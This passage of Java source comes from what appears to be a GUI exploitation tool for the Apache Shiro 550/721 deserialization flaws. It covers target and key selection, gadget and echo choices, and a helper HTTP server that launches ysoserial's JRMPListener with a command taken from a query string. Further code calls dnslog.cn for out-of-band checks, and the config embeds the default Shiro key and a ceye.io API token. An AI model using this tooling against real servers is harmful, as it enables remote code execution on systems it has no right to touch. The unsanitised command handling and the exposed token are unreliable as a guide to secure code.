37 | private CheckBox useBigKeyFile = new CheckBox("使用 keys.conf.big");
38 | private TextField urlTextField = new TextField();
39 | private TextArea cookieField = new TextArea();
40 | private TextArea requestBodyField = new TextArea();
41 | private ConfigPane configPane;
42 | private ProxyConfigPane proxyConfigPane;
43 | private Button next = new Button("下一步");
44 | private CheckComboBox keyComboBox = new CheckComboBox<>();
45 | private Button cleanKeySelection = new Button("重置");
46 | private CheckComboBox gadgetComboBox = new CheckComboBox<>();
47 | private Button cleanGadgetSelection = new Button("重置");
48 | private CheckComboBox echoTypeComboBox = new CheckComboBox<>();
49 | private Button cleanEchoTypeSelection = new Button("重置");
50 | private Button proxy = new Button("设置代理");
51 | private Button about = new Button("关于");
52 |
53 |
54 | public static void main(String[] args) {
55 | launch(args);
56 | }
57 |
58 | @Override
59 | public void start(Stage primaryStage) throws Exception {
60 |
61 | Pane borderPane = new StartPane().getPane();
62 | primaryStage.setTitle("Shiro550/721漏洞检测 v2.51 Final by飞鸿");
63 | primaryStage.setScene(new Scene(borderPane, 800, 700));
64 | primaryStage.show();
65 |
66 | // //测试
67 | // MainPane pane = new MainPane();
68 | // primaryStage.setTitle("Shiro550/721漏洞检测 by飞鸿");
69 | // primaryStage.setScene(new Scene(pane.getPane(), 800,600));
70 | // primaryStage.show();
71 | }
72 |
73 | public StartPane(){
74 | drawPane();
75 | addListeners();
76 | }
77 |
78 | public Pane getPane() {
79 | return borderPane;
80 | }
81 |
82 | private void drawPane(){
83 | borderPane.setPadding(new Insets(10,10,10,10));
84 |
85 | Label label = new Label("选择要验证的漏洞类型");
86 | List data = new ArrayList<>();
87 | data.add("Shiro550");
88 | data.add("Shiro721");
89 | comboBox.setItems(FXCollections.observableArrayList(data));
90 | comboBox.setPrefHeight(HEIGHT);
91 | comboBox.setPrefWidth(150);
92 | comboBox.getSelectionModel().select(0);
93 |
94 | GridPane leftGridPane = new GridPane();
95 | leftGridPane.setAlignment(Pos.CENTER_LEFT);
96 | leftGridPane.setHgap(20);
97 | leftGridPane.setVgap(10);
98 | leftGridPane.setPadding(new Insets(10,10,10,10));
99 |
100 | useHttps.setDisable(true);
101 |
102 | leftGridPane.add(label, 0,0);
103 | leftGridPane.add(comboBox,1,0);
104 | leftGridPane.setColumnSpan(complexHttpRequest, 2);
105 | leftGridPane.add(complexHttpRequest,0,1);
106 | leftGridPane.setColumnSpan(useHttps, 2);
107 | leftGridPane.add(useHttps, 0, 2);
108 | leftGridPane.setColumnSpan(useBigKeyFile, 2);
109 | leftGridPane.add(useBigKeyFile, 0,3);
110 | leftGridPane.setColumnSpan(specifyKeyAndGadget, 2);
111 | leftGridPane.add(specifyKeyAndGadget, 0, 4);
112 |
113 | keyComboBox.getItems().addAll(FXCollections.observableArrayList(config.getKeys()));
114 | keyComboBox.setTitle("指定Key");
115 | keyComboBox.setPrefWidth(280);
116 | keyComboBox.setDisable(true);
117 |
118 | gadgetComboBox.getItems().addAll(Tools.getPayloadNames());
119 | gadgetComboBox.setTitle("指定Gadget");
120 | gadgetComboBox.setDisable(true);
121 | gadgetComboBox.setPrefWidth(280);
122 |
123 | echoTypeComboBox.getItems().addAll(Tools.getEchoTypes());
124 | echoTypeComboBox.setTitle("指定回显方式");
125 | echoTypeComboBox.setDisable(true);
126 | echoTypeComboBox.setPrefWidth(280);
127 |
128 | cleanKeySelection.setDisable(true);
129 | cleanGadgetSelection.setDisable(true);
130 | cleanEchoTypeSelection.setDisable(true);
131 |
132 | GridPane rightGridPane = new GridPane();
133 | rightGridPane.setAlignment(Pos.CENTER_RIGHT);
134 | rightGridPane.setHgap(20);
135 | rightGridPane.setVgap(10);
136 | rightGridPane.setPadding(new Insets(10,0,10,0));
137 |
138 | HBox hBox = new HBox();
139 | hBox.setAlignment(Pos.CENTER_RIGHT);
140 | hBox.getChildren().addAll(proxy, about);
141 | hBox.setMargin(about, new Insets(0,10,0,10));
142 | rightGridPane.setColumnSpan(hBox,2);
143 | rightGridPane.add(hBox, 0, 0);
144 | rightGridPane.add(keyComboBox, 0, 1);
145 | rightGridPane.add(cleanKeySelection, 1,1);
146 | rightGridPane.add(gadgetComboBox, 0,2);
147 | rightGridPane.add(cleanGadgetSelection, 1,2);
148 | rightGridPane.add(echoTypeComboBox, 0,3);
149 | rightGridPane.add(cleanEchoTypeSelection, 1, 3);
150 |
151 | HBox topPane = new HBox();
152 | topPane.setSpacing(40);
153 | topPane.getChildren().addAll(leftGridPane, rightGridPane);
154 |
155 | urlTextField.setPrefHeight(35);
156 | urlTextField.setPromptText("目标地址");
157 | cookieField.setPrefHeight(300);
158 | cookieField.setWrapText(true);
159 | cookieField.setPromptText("rememberMe=dGhpcyBpcyBhIGRlbW9uc3RyYXRpb24gc3RyaW5nCg==");
160 | cookieField.setDisable(true);
161 | simpleRequestSubpane.setPadding(new Insets(10,10,10,10));
162 | simpleRequestSubpane.setTop(urlTextField);
163 | simpleRequestSubpane.setMargin(urlTextField, new Insets(0,0,20,0));
164 | simpleRequestSubpane.setCenter(cookieField);
165 |
166 | requestBodyField.setPrefHeight(350);
167 | requestBodyField.setWrapText(true);
168 | requestBodyField.setPromptText("POST /someurl HTTP/1.1\r\n" +
169 | "Host: passport.feihong.com\r\n" +
170 | "Connection: close\r\n" +
171 | "Accept: application/json, text/javascript, */*; q=0.01\r\n" +
172 | "Accept-Encoding: gzip, deflate\r\n" +
173 | "Accept-Language: zh-CN,zh;q=0.9\r\n" +
174 | "Cookie: x-zp-client-id=bea678e6-7fa8-4cfd-8d23-5d98f8876702; rememberMe=dGhpcyBpcyBhIGRlbW9uc3RyYXRpb24gc3RyaW5nCg==\r\n\r\n" +
175 | "param1=value1¶m2=value2\r\n\r\n");
176 | complexRequestSubpane.setPadding(new Insets(10,10,10,10));
177 | complexRequestSubpane.setCenter(requestBodyField);
178 |
179 | borderPane.setTop(topPane);
180 | borderPane.setCenter(simpleRequestSubpane);
181 |
182 | HBox hbox = new HBox();
183 | hbox.getChildren().add(this.next);
184 | hbox.setAlignment(Pos.CENTER);
185 | borderPane.setBottom(hbox);
186 | borderPane.setMargin(hbox, new Insets(10,0,10,0));
187 | }
188 |
189 | private void addListeners(){
190 | comboBox.getSelectionModel().selectedItemProperty().addListener(new ChangeListener() {
191 | @Override
192 | public void changed(ObservableValue extends String> observable, String oldValue, String newValue) {
193 | if(newValue.equalsIgnoreCase("shiro721")){
194 | cookieField.setDisable(false);
195 | }
196 |
197 | if(newValue.equalsIgnoreCase("shiro550")){
198 | cookieField.setDisable(true);
199 | }
200 | }
201 | });
202 |
203 |
204 | complexHttpRequest.selectedProperty().addListener(new ChangeListener() {
205 | @Override
206 | public void changed(ObservableValue extends Boolean> observable, Boolean oldValue, Boolean newValue) {
207 | if(newValue == true){
208 | borderPane.setCenter(complexRequestSubpane);
209 | useHttps.setDisable(false);
210 | }else{
211 | borderPane.setCenter(simpleRequestSubpane);
212 | useHttps.setSelected(false);
213 | useHttps.setDisable(true);
214 | }
215 | }
216 | });
217 |
218 |
219 | useBigKeyFile.selectedProperty().addListener(new ChangeListener() {
220 | @Override
221 | public void changed(ObservableValue extends Boolean> observable, Boolean oldValue, Boolean newValue) {
222 | if(newValue == true){
223 | config.setKeys(ConfigReader.loadKeys(1));
224 | keyComboBox.setTitle("指定Key");
225 | }else{
226 | config.setKeys(ConfigReader.loadKeys(0));
227 | keyComboBox.setTitle("指定Key");
228 | }
229 |
230 | keyComboBox.getItems().clear();
231 | keyComboBox.getItems().addAll(config.getKeys());
232 | }
233 | });
234 |
235 | specifyKeyAndGadget.selectedProperty().addListener(new ChangeListener() {
236 | @Override
237 | public void changed(ObservableValue extends Boolean> observable, Boolean oldValue, Boolean newValue) {
238 | if(newValue == true){
239 | keyComboBox.setDisable(false);
240 | gadgetComboBox.setDisable(false);
241 | echoTypeComboBox.setDisable(false);
242 |
243 | cleanKeySelection.setDisable(false);
244 | cleanGadgetSelection.setDisable(false);
245 | cleanEchoTypeSelection.setDisable(false);
246 | }else{
247 | keyComboBox.setDisable(true);
248 | gadgetComboBox.setDisable(true);
249 | echoTypeComboBox.setDisable(true);
250 |
251 | cleanKeySelection.setDisable(true);
252 | cleanGadgetSelection.setDisable(true);
253 | cleanEchoTypeSelection.setDisable(true);
254 | }
255 | }
256 | });
257 |
258 | cleanKeySelection.setOnAction(event -> {
259 | keyComboBox.getCheckModel().clearChecks();
260 | });
261 |
262 | cleanGadgetSelection.setOnAction(event -> {
263 | gadgetComboBox.getCheckModel().clearChecks();
264 | });
265 |
266 | cleanEchoTypeSelection.setOnAction(event -> {
267 | echoTypeComboBox.getCheckModel().clearChecks();
268 | });
269 |
270 | proxy.setOnAction(new EventHandler() {
271 | @Override
272 | public void handle(ActionEvent event) {
273 |
274 | if(proxyConfigPane == null){
275 | Stage newStage = new Stage();
276 | proxyConfigPane = new ProxyConfigPane(StartPane.this);
277 | Pane pane = proxyConfigPane.getPane();
278 | newStage.setTitle("设置代理");
279 | newStage.setScene(new Scene(pane, 400, 250));
280 | newStage.show();
281 | }else{
282 | Stage next = (Stage)proxyConfigPane.getPane().getScene().getWindow();
283 | proxyConfigPane.update();
284 | next.show();
285 | }
286 | }
287 | });
288 |
289 | about.setOnAction(new EventHandler() {
290 | @Override
291 | public void handle(ActionEvent event) {
292 | Stage newStage = new Stage();
293 | AboutPane aboutPane = new AboutPane();
294 | Pane pane = aboutPane.getPane();
295 | newStage.setTitle("关于");
296 | Scene scene = new Scene(pane, 600, 500);
297 | scene.getStylesheets().add(getClass().getResource("/my.css").toExternalForm());
298 | newStage.setScene(scene);
299 | newStage.show();
300 | }
301 | });
302 |
303 | next.setOnAction(new EventHandler() {
304 | @Override
305 | public void handle(ActionEvent event) {
306 | config.setVulType(comboBox.getSelectionModel().getSelectedIndex());
307 |
308 | if(specifyKeyAndGadget.isSelected()){
309 | ObservableList selected = keyComboBox.getCheckModel().getCheckedItems();
310 | if(selected.size() != 0){
311 | config.setKeys(selected);
312 | }
313 |
314 | selected = gadgetComboBox.getCheckModel().getCheckedItems();
315 | if(selected.size() != 0){
316 | List list = new ArrayList<>();
317 | for(String str : selected){
318 | list.add(PayloadType.valueOf(str));
319 | }
320 |
321 | config.setGadgets(list);
322 | }
323 |
324 |
325 | selected = echoTypeComboBox.getCheckModel().getCheckedItems();
326 | if(selected.size() != 0){
327 | List list = new ArrayList<>();
328 | for(String str : selected){
329 | list.add(EchoType.valueOf(str));
330 | }
331 |
332 | config.setEchoTypes(list);
333 | }
334 | }
335 |
336 | Stage currentStage = (Stage)borderPane.getScene().getWindow();
337 | if(!complexHttpRequest.isSelected()){
338 | String url = urlTextField.getText();
339 | url = url != null ? url.trim() : null;
340 | String cookie = cookieField.getText();
341 | cookie = cookie != null ? cookie.trim() : null;
342 |
343 | boolean bool = validateURL(url);
344 | if(comboBox.getSelectionModel().getSelectedIndex() == 1){
345 | bool = bool && validateCookie(url, cookie);
346 | }
347 |
348 | if(bool) {
349 | HttpRequestInfo httpRequestInfo = new HttpRequestInfo();
350 | httpRequestInfo.setRequestMethod("GET");
351 | httpRequestInfo.setRequestURL(url);
352 | if(config.getVulType() == 1)
353 | httpRequestInfo.setRememberMeCookie(Hex.encodeHexString(Base64.decodeBase64(cookie.split("=",2)[1])));
354 | config.setRequestInfo(httpRequestInfo);
355 |
356 | final TestConnectionTask task = new TestConnectionTask(httpRequestInfo);
357 | task.valueProperty().addListener(new ChangeListener() {
358 | @Override
359 | public void changed(ObservableValue extends Integer> observable, Integer oldValue, Integer newValue) {
360 | if(task.getStatus() == 1){
361 | nextStage();
362 | }
363 |
364 | if(task.getStatus() == -1){
365 | PromptMessageUI.getAlert("目标地址无法访问","您输入的 URL 无法正常访问");
366 | }
367 | }
368 | });
369 |
370 | PenddingUI penddingUI = new PenddingUI(task, currentStage);
371 | penddingUI.activateProgressBar();
372 | }
373 | }else{
374 | String requestBody = requestBodyField.getText();
375 | HttpRequestInfo httpRequestInfo = new HttpRequestInfo();
376 |
377 | if(requestBody == null || requestBody.trim().equals("")){
378 | PromptMessageUI.getAlert("HTTP请求不能为空","请输入一个有效的HTTP请求");
379 | return;
380 | }
381 |
382 | try{
383 | httpRequestInfo.parse(requestBody, useHttps.isSelected());
384 | }catch (Exception e){
385 | PromptMessageUI.getAlert("HTTP请求格式不正确","请输入一个格式正确的HTTP请求");
386 | return;
387 | }
388 |
389 | if(comboBox.getSelectionModel().getSelectedIndex() == 1){
390 | if(httpRequestInfo.getRememberMeCookie() == null){
391 | PromptMessageUI.getAlert("缺失有效的rememberMe Cookie","未提供rememberMe Cookie或者提供的remeberMe Cookie格式不正确");
392 | return;
393 | }
394 | }
395 |
396 | config.setRequestInfo(httpRequestInfo);
397 |
398 | final TestConnectionTask task = new TestConnectionTask(httpRequestInfo);
399 | task.valueProperty().addListener(new ChangeListener() {
400 | @Override
401 | public void changed(ObservableValue extends Integer> observable, Integer oldValue, Integer newValue) {
402 | if(task.getStatus() == 1){
403 | nextStage();
404 | }
405 |
406 | if(task.getStatus() == -1){
407 | PromptMessageUI.getAlert("目标地址无法访问","您输入的 Http 请求解析后无法正常访问");
408 | }
409 | }
410 | });
411 |
412 | PenddingUI penddingUI = new PenddingUI(task, currentStage);
413 | penddingUI.activateProgressBar();
414 |
415 | }
416 | }
417 | });
418 | }
419 |
420 | private void nextStage() {
421 | Stage currentStage = (Stage) borderPane.getScene().getWindow();
422 |
423 | if(configPane == null){
424 | Stage newStage = new Stage();
425 | configPane = new ConfigPane(StartPane.this);
426 | Pane pane = configPane.getPane();
427 | newStage.setTitle(Config.getInstance().getRequestInfo().getRequestURL());
428 | newStage.setScene(new Scene(pane, 550, 500));
429 | currentStage.hide();
430 | newStage.show();
431 | }else{
432 | currentStage.hide();
433 | Stage next = (Stage)configPane.getPane().getScene().getWindow();
434 | next.show();
435 | }
436 |
437 | }
438 |
439 | private boolean validateURL(String url){
440 | if(url == null || url.trim().equals("")){
441 | PromptMessageUI.getAlert("URL不能为空","请输入一个有效的URL");
442 | return false;
443 | }
444 |
445 | if(!url.startsWith("http://") && !url.startsWith("https://")){
446 | PromptMessageUI.getAlert("URL格式不正确","请输入完整的URL,包括http(s)前缀");
447 | return false;
448 | }
449 |
450 | try{
451 | URL u = new URL(url);
452 | } catch (MalformedURLException e) {
453 | PromptMessageUI.getAlert("URL格式不正确","请输入正确格式的URL");
454 | return false;
455 | }
456 |
457 | return true;
458 | }
459 |
460 |
461 | private boolean validateCookie(String url, String cookie){
462 | if(cookie == null || cookie.trim().equals("")){
463 | PromptMessageUI.getAlert("Cookie不能为空","请输入一个有效的rememberMe Cookie");
464 | return false;
465 | }
466 |
467 | if(!cookie.startsWith(config.getRememberMeCookieName() + "=")){
468 | PromptMessageUI.getAlert("cookie格式不正确","请输入正确格式的rememberMe cookie");
469 | return false;
470 | }
471 |
472 | return true;
473 | }
474 | }
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/server/BasicHTTPServer.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.server;
2 |
3 | import com.shiroexploit.util.PayloadType;
4 | import com.shiroexploit.util.Tools;
5 | import com.sun.net.httpserver.HttpContext;
6 | import com.sun.net.httpserver.HttpExchange;
7 | import com.sun.net.httpserver.HttpServer;
8 | import java.io.File;
9 | import java.io.IOException;
10 | import java.io.OutputStream;
11 | import java.net.InetSocketAddress;
12 | import java.net.URI;
13 | import java.util.HashSet;
14 | import java.util.Set;
15 |
16 | public class BasicHTTPServer {
17 | private static int listeningPort = 8080;
18 | private static int JRMPPort = 8088;
19 | private static Set memcache = new HashSet<>();
20 | private static PayloadType payloadType;
21 | private static String previousType = "";
22 |
23 | public static void main(String[] args) throws IOException {
24 | //如果命令行指定了参数,就使用命令行指定的参数,否则使用默认值
25 | if(args.length > 1){
26 | BasicHTTPServer.listeningPort = Integer.parseInt(args[0]);
27 | BasicHTTPServer.JRMPPort = Integer.parseInt(args[1]);
28 | }
29 |
30 | HttpServer httpServer = HttpServer.create(new InetSocketAddress(listeningPort), 0);
31 | HttpContext contenxt1 = httpServer.createContext("/jrmp");
32 | contenxt1.setHandler(BasicHTTPServer::handleJRMPRequest);
33 | // HttpContext contenxt2 = httpServer.createContext("/gadget");
34 | // contenxt2.setHandler(BasicHTTPServer::handleGadgetRequest);
35 | // HttpContext contenxt3 = httpServer.createContext("/result");
36 | // contenxt3.setHandler(BasicHTTPServer::handleResultRequest);
37 | HttpContext contenxt4 = httpServer.createContext("/echo");
38 | contenxt4.setHandler(BasicHTTPServer::handleEchoRequest);
39 | httpServer.start();
40 | System.out.println("[*] Start HTTP Service at port " + listeningPort);
41 | System.out.println("[*] JRMP Service will start at port " + JRMPPort);
42 | }
43 |
44 | private static void handleEchoRequest(HttpExchange exchange) throws IOException{
45 | String response = "OK";
46 | exchange.sendResponseHeaders(200, response.getBytes().length);
47 | OutputStream os = exchange.getResponseBody();
48 | os.write(response.getBytes());
49 | os.close();
50 | }
51 |
52 | // private static void handleResultRequest(HttpExchange exchange) throws IOException{
53 | // StringBuffer sb = new StringBuffer();
54 | // for(String str : memcache){
55 | // sb.append(str);
56 | // sb.append(",");
57 | // }
58 | //
59 | // if(sb.length() > 0){
60 | // sb.deleteCharAt(sb.length()-1);
61 | // }
62 | //
63 | // String response = sb.toString();
64 | // exchange.sendResponseHeaders(200, response.getBytes().length);
65 | // OutputStream os = exchange.getResponseBody();
66 | // os.write(response.getBytes());
67 | // os.close();
68 | // }
69 | //
70 | // private static void handleGadgetRequest(HttpExchange exchange) throws IOException{
71 | // URI requestURI = exchange.getRequestURI();
72 | // String query = requestURI.getQuery();
73 | //
74 | // //type参数只是为了打印,并不实际处理
75 | // String type = parse(query, "type");
76 | // String uuid = parse(query,"uuid");
77 | // if(type != null && isValidParameter(type) && uuid != null){
78 | // memcache.add(uuid);
79 | // System.out.println("[+] Received a valid gadget request: " + type);
80 | // }else{
81 | // System.out.println("[-] Received a invalid request: " + requestURI);
82 | // }
83 | //
84 | // String response = "OK";
85 | // exchange.sendResponseHeaders(200, response.getBytes().length);
86 | // OutputStream os = exchange.getResponseBody();
87 | // os.write(response.getBytes());
88 | // os.close();
89 | // }
90 |
91 | private static void handleJRMPRequest(HttpExchange exchange) throws IOException{
92 | URI requestURI = exchange.getRequestURI();
93 | String query = requestURI.getQuery();
94 |
95 | Tools.killJRMPListener(BasicHTTPServer.JRMPPort);
96 |
97 | String type = parse(query, "type");
98 | String cmd = parse(query, "cmd");
99 |
100 | if(type != null && isValidParameter(type) && cmd != null){
101 | // cmd = URLDecoder.decode(cmd,"UTF-8");
102 | // cmd = cmd.replace("&type","%26type");
103 | String finalCmd = cmd;
104 | Thread thread = new Thread(new Runnable() {
105 | @Override
106 | public void run() {
107 | String command = "java -cp \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" ysoserial.exploit.JRMPListener " + BasicHTTPServer.JRMPPort + " " + type + " \"" + finalCmd +"\"";
108 | Tools.exec(command);
109 | }
110 | });
111 | thread.start();
112 | if(!previousType.equalsIgnoreCase(type)){
113 | System.out.println("[*] Start JRMPListener for paylaod " + type);
114 | previousType = type;
115 | }
116 |
117 | }else{
118 | System.out.println("[-] Received a invalid request: " + requestURI);
119 | }
120 |
121 | String response = "OK";
122 | exchange.sendResponseHeaders(200, response.getBytes().length);
123 | OutputStream os = exchange.getResponseBody();
124 | os.write(response.getBytes());
125 | os.close();
126 | }
127 |
128 |
129 | private static String parse(String query, String name){
130 | try{
131 | String[] params = query.split("&");
132 | for(String param : params){
133 | String[] pair = param.split("=",2);
134 | String key = pair[0];
135 | String value = pair[1];
136 | if(key.equalsIgnoreCase(name)){
137 | return value;
138 | }
139 | }
140 |
141 | return null;
142 | }catch(Exception e){
143 | return null;
144 | }
145 | }
146 |
147 | private static boolean isValidParameter(String type){
148 | for(PayloadType payloadType : PayloadType.values()){
149 | if(type.equalsIgnoreCase(payloadType.getName())){
150 | return true;
151 | }
152 | }
153 |
154 | return false;
155 | }
156 | }
157 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/task/GetDNSLogRecordTask.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.task;
2 |
3 | import com.shiroexploit.util.Config;
4 | import javafx.concurrent.Task;
5 | import java.io.BufferedReader;
6 | import java.io.IOException;
7 | import java.io.InputStream;
8 | import java.io.InputStreamReader;
9 | import java.net.HttpURLConnection;
10 | import java.net.URL;
11 |
12 | public class GetDNSLogRecordTask extends Task {
13 |
14 | private int status = 0;
15 | private Config config;
16 |
17 | public int getStatus(){
18 | return status;
19 | }
20 |
21 | public GetDNSLogRecordTask(Config config){
22 | this.config = config;
23 | }
24 |
25 | @Override
26 | protected Integer call(){
27 | HttpURLConnection connection = null;
28 | InputStream inputStream = null;
29 | BufferedReader reader = null;
30 | StringBuffer sb = new StringBuffer();
31 |
32 | try
33 | {
34 | connection = (HttpURLConnection)new URL("http://www.dnslog.cn/getdomain.php").openConnection();
35 | connection.setRequestMethod("GET");
36 | connection.setConnectTimeout(5000);
37 | connection.setReadTimeout(5000);
38 | connection.connect();
39 |
40 | int responseCode = connection.getResponseCode();
41 | if (responseCode == 200) {
42 | String sessinoId = connection.getHeaderField("Set-Cookie");
43 | sessinoId = sessinoId.split(";")[0];
44 |
45 | inputStream = connection.getInputStream();
46 | reader = new BufferedReader(new InputStreamReader(inputStream));
47 | String line;
48 | while ((line = reader.readLine()) != null) {
49 | sb.append(line);
50 | }
51 |
52 | Config.getInstance().setSessionId(sessinoId);
53 | Config.getInstance().setDnsLogRecord(sb.toString());
54 | status = 1;
55 | return 1;
56 | }
57 | }
58 | catch (IOException e) {
59 | status = -1;
60 | return 1;
61 | } finally {
62 | try {
63 | if (connection != null) connection.disconnect();
64 | if (inputStream != null) inputStream.close();
65 | if (reader != null) reader.close();
66 | } catch (IOException e) {
67 | status = -1;
68 | return 1;
69 | }
70 | }
71 |
72 | status = -1;
73 | return 1;
74 | }
75 | }
76 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/task/TestConnectionTask.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.task;
2 |
3 | import com.shiroexploit.util.HttpRequest;
4 | import com.shiroexploit.util.HttpRequestInfo;
5 | import javafx.concurrent.Task;
6 |
7 | import java.io.IOException;
8 |
9 | public class TestConnectionTask extends Task {
10 |
11 | private int status = 0;
12 | private HttpRequestInfo httpRequestInfo;
13 |
14 | public int getStatus(){
15 | return status;
16 | }
17 |
18 | public TestConnectionTask(HttpRequestInfo httpRequestInfo){
19 | this.httpRequestInfo = httpRequestInfo;
20 | }
21 |
22 |
23 | @Override
24 | protected Integer call() {
25 | try{
26 | HttpRequest.getResponse(httpRequestInfo);
27 | } catch (IOException e) {
28 | status = -1;
29 | return 1;
30 | }
31 |
32 | status = 1;
33 | return 1;
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/util/Config.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.util;
2 |
3 | import java.util.*;
4 |
5 | public class Config {
6 | private static Config config;
7 | private List keys;
8 | private List gadgets;
9 | private List echoTypes;
10 | // 0 for Shiro550, 1 for Shiro721
11 | private int vulType = 0;
12 | // 0 for ceye.io, 1 for dnslog.cn, 2 for JRMP + dnslog.cn, 3 for echo
13 | private int checkMethod = 0;
14 | private boolean skipIfFound = true;
15 | private String ceyeDomain;
16 | private String ceyeToken;
17 | private String JRMPServiceAddress;
18 | private int HTTPServicePort;
19 | private int JRMPServicePort;
20 | private int fetchDNSLogResultDealy;
21 | private int JRMPRequestDelay;
22 | private HttpRequestInfo requestInfo;
23 | private String rememberMeCookieName;
24 | private String sessionId;
25 | private String dnsLogRecord;
26 | private String staticFilePath;
27 | private String proxyIP;
28 | private int proxyPort;
29 | private boolean proxyEnabled;
30 |
31 | public static Config getInstance(){
32 | //懒汉式
33 | if(config == null){
34 | config = new Config();
35 |
36 | //初始化key
37 | List list = ConfigReader.loadKeys(0);
38 |
39 | if(list.size() == 0){
40 | list.add("kPH+bIxk5D2deZiIxcaaaA==");
41 | }
42 |
43 | config.setKeys(list);
44 |
45 | config.setGadgets(new ArrayList<>(Arrays.asList(PayloadType.values())));
46 |
47 | //参考: https://blog.csdn.net/burger1221/article/details/90638668
48 | //默认不使用 WindowsEcho, Use With Caution
49 | config.setEchoTypes(new ArrayList<>(Arrays.asList(EchoType.values())));
50 | config.getEchoTypes().remove(EchoType.WindowsEcho);
51 |
52 | String value = ConfigReader.getConfig("rememberMeCookieName");
53 | value = value == null ? "rememberMe" : value.trim();
54 | config.setRememberMeCookieName(value);
55 |
56 | String ceyeDomain = ConfigReader.getConfig("ceyeDomain");
57 | ceyeDomain = ceyeDomain == null ? "7wtusr.ceye.io" : ceyeDomain.trim();
58 | config.setCeyeDomain(ceyeDomain);
59 |
60 | String ceyeToken = ConfigReader.getConfig("ceyeToken");
61 | ceyeToken = ceyeToken == null ? "a78a1cb49d91fe09e01876078d1868b2" : ceyeToken.trim();
62 | config.setCeyeToken(ceyeToken);
63 |
64 | String fetchDNSLogResultDealy = ConfigReader.getConfig("fetchDNSLogResultDealy");
65 | int time = fetchDNSLogResultDealy == null ? 5 : Integer.parseInt(fetchDNSLogResultDealy.trim());
66 | config.setFetchDNSLogResultDealy(time);
67 |
68 | String JRMPRequestDelay = ConfigReader.getConfig("JRMPRequestDelay");
69 | time = JRMPRequestDelay == null ? 2 : Integer.parseInt(JRMPRequestDelay.trim());
70 | config.setJRMPRequestDelay(time);
71 | }
72 |
73 | return config;
74 | }
75 |
76 | public List getGadgets() {
77 | return gadgets;
78 | }
79 |
80 | public void setGadgets(List gadgets) {
81 | this.gadgets = gadgets;
82 | }
83 |
84 | public List getEchoTypes() {
85 | return echoTypes;
86 | }
87 |
88 | public void setEchoTypes(List echoTypes) {
89 | this.echoTypes = echoTypes;
90 | }
91 |
92 | public String getStaticFilePath() {
93 | return staticFilePath;
94 | }
95 |
96 | public void setStaticFilePath(String staticFilePath) {
97 | this.staticFilePath = staticFilePath;
98 | }
99 |
100 | public int getFetchDNSLogResultDealy() {
101 | return fetchDNSLogResultDealy;
102 | }
103 |
104 | public void setFetchDNSLogResultDealy(int fetchDNSLogResultDealy) {
105 | this.fetchDNSLogResultDealy = fetchDNSLogResultDealy;
106 | }
107 |
108 | public int getJRMPRequestDelay() {
109 | return JRMPRequestDelay;
110 | }
111 |
112 | public void setJRMPRequestDelay(int JRMPRequestDelay) {
113 | this.JRMPRequestDelay = JRMPRequestDelay;
114 | }
115 |
116 | public String getSessionId() {
117 | return sessionId;
118 | }
119 |
120 | public void setSessionId(String sessionId) {
121 | this.sessionId = sessionId;
122 | }
123 |
124 | public String getDnsLogRecord() {
125 | return dnsLogRecord;
126 | }
127 |
128 | public void setDnsLogRecord(String dnsLogRecord) {
129 | this.dnsLogRecord = dnsLogRecord;
130 | }
131 |
132 | public String getRememberMeCookieName() {
133 | return rememberMeCookieName;
134 | }
135 |
136 | public void setRememberMeCookieName(String rememberMeCookieName) {
137 | this.rememberMeCookieName = rememberMeCookieName;
138 | }
139 |
140 | public HttpRequestInfo getRequestInfo() {
141 | return requestInfo;
142 | }
143 |
144 | public void setRequestInfo(HttpRequestInfo requestInfo) {
145 | this.requestInfo = requestInfo;
146 | }
147 |
148 | public int getCheckMethod() {
149 | return checkMethod;
150 | }
151 |
152 | public void setCheckMethod(int checkMethod) {
153 | this.checkMethod = checkMethod;
154 | }
155 |
156 | public List getKeys() {
157 | return keys;
158 | }
159 |
160 | public void setKeys(List keys) {
161 | this.keys = keys;
162 | }
163 |
164 | public int getVulType() {
165 | return vulType;
166 | }
167 |
168 | public void setVulType(int vulType) {
169 | this.vulType = vulType;
170 | }
171 |
172 | public boolean isSkipIfFound() {
173 | return skipIfFound;
174 | }
175 |
176 | public void setSkipIfFound(boolean skipIfFound) {
177 | this.skipIfFound = skipIfFound;
178 | }
179 |
180 | public String getCeyeDomain() {
181 | return ceyeDomain;
182 | }
183 |
184 | public String getCeyeToken() {
185 | return ceyeToken;
186 | }
187 |
188 | public void setCeyeDomain(String ceyeDomain) {
189 | this.ceyeDomain = ceyeDomain;
190 | }
191 |
192 | public void setCeyeToken(String ceyeToken) {
193 | this.ceyeToken = ceyeToken;
194 | }
195 |
196 | public String getJRMPServiceAddress() {
197 | return JRMPServiceAddress;
198 | }
199 |
200 | public void setJRMPServiceAddress(String JRMPServiceAddress) {
201 | this.JRMPServiceAddress = JRMPServiceAddress;
202 | }
203 |
204 | public int getHTTPServicePort() {
205 | return HTTPServicePort;
206 | }
207 |
208 | public void setHTTPServicePort(int HTTPServicePort) {
209 | this.HTTPServicePort = HTTPServicePort;
210 | }
211 |
212 | public int getJRMPServicePort() {
213 | return JRMPServicePort;
214 | }
215 |
216 | public void setJRMPServicePort(int JRMPServicePort) {
217 | this.JRMPServicePort = JRMPServicePort;
218 | }
219 |
220 | public String getProxyIP() {
221 | return proxyIP;
222 | }
223 |
224 | public void setProxyIP(String proxyIP) {
225 | this.proxyIP = proxyIP;
226 | }
227 |
228 | public int getProxyPort() {
229 | return proxyPort;
230 | }
231 |
232 | public void setProxyPort(int proxyPort) {
233 | this.proxyPort = proxyPort;
234 | }
235 |
236 | public boolean isProxyEnabled() {
237 | return proxyEnabled;
238 | }
239 |
240 | public void setProxyEnabled(boolean proxyEnabled) {
241 | this.proxyEnabled = proxyEnabled;
242 | }
243 | }
244 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/util/ConfigReader.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.util;
2 |
3 | import java.io.*;
4 | import java.util.*;
5 |
6 | public class ConfigReader {
7 |
8 | public static List loadKeys(int flag){
